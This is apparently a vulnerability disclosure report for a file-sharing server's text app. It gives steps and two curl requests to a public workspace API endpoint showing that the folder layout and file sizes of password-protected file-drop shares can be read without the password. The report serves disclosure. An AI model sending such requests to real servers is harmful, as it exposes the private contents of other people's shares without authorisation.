Folder architecture and Filesizes of private file drop shares can be getten

How it was found

Steps To Reproduce:

1. Create a new Folder "TestABC"
2. Share a password protected link of this folder
3. Create a file "README.md" and a file "README.md" in the Subfolder "Subfolder".

==> curl -H "OCS-APIREQUEST: true" "http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345"

==> curl -H "OCS-APIREQUEST: true" "http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345&folder=subfolder"

Impact

Folder architecture and Filesizes of private file drop shares can be getten